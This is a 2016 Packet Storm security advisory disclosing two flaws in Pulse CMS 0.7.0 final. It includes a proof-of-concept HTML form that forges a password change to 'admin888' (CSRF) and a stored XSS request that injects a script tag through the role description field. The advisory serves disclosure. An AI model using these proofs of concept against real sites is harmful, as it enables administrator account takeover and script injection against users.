Pulse 0.7.0 Final CSRF / Cross Site Scripting

2016-04-05T00:00:00
ID PACKETSTORM:136552
Type packetstorm
Reporter Piaox Xiong
Modified 2016-04-05T00:00:00

Description

                                        
                                            `Pulse CMS Multiple Vulnerabilities  
  
1、Description  
  
Exploit Title: Multiple Vulnerabilities in pulse 0.7.0 final  
  
Date: 4-01-2016  
  
Vendor Homepage:  
http://pulse.torweg.org/site/Pulsar/en_US.CMS.displayCMS.13./pulse---the-java-web-application-framework  
  
Vendor: pulse  
  
Software: Content Management System  
  
Version: version: pulse 0.7.0 final (build r2074)  
  
2、Product Summary  
  
================  
  
An open source portal solution in Java. pulse delivers a set of  
out-of-the-box components, e.g. CMS, shopping, user management.  
Moreover pulse is a framework on top of the Servlet API providing easy  
to use and easy to extend patterns for creating browser based  
applications and websites. Key features: * Cross-platform, implemented  
using Java technology. * Completely written using Java 5. * Provides a  
framework for quick development of own applications. * Is delivered  
with a host of out-of-the-box applications: CMS, Shop, Surveys,  
Filters and many more. * A WebDAV based virtual file system for  
digital asset management. * Mature user and role management *  
Easy-to-use administration interface based on AJAX (using Ext JS) *  
Built for internationalisation * Flexible templating with XSLT  
2.0/XPath 2.0  
  
3、Vulnerabilities  
  
================  
  
1)、CSRF Vulnerability  
Change Password exists csrf Vulnerability :  
CSRF POC:  
<html>  
  
<!-- CSRF PoC -->  
  
<body>  
  
<form action="http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.changePasswordUserEditor._pGv8I9wIR7MWaiSJ5xxXkK39PElR9vlXaJmvG8sYkUDxDm0dmFdG3oTt0Py3gWJ7kTPl3ZJiVsc5V7sxt1yYm./"  
method="POST">  
  
<input type="hidden" name="id" value="1" />  
  
<input type="hidden" name="pwd" value="admin888" />  
  
<input type="hidden" name="cnf" value="admin888" />  
  
<input type="submit" value="Submit request" />  
  
</form>  
  
</body>  
  
</html>  
  
2)、Stored XSS Vulnerability  
  
Stored Xss vulnerability exists in the description of the Roles  
overview、Users overview、Groups overview.  
POC:  
http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.saveRoleEditor._GazoEzD0fQ9eqgjVtVmQUcR0AcE4uyFhxaFI0jWHL6NgzAOsYWxRikIik5cnewt4J6Tjc8DpHFC9rGglGWXaeT./  
id=4&description=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E  
  
4、Discovered by  
  
================  
  
piaox xiong – xiongyaofu351@pingan.com.cn  
  
  
`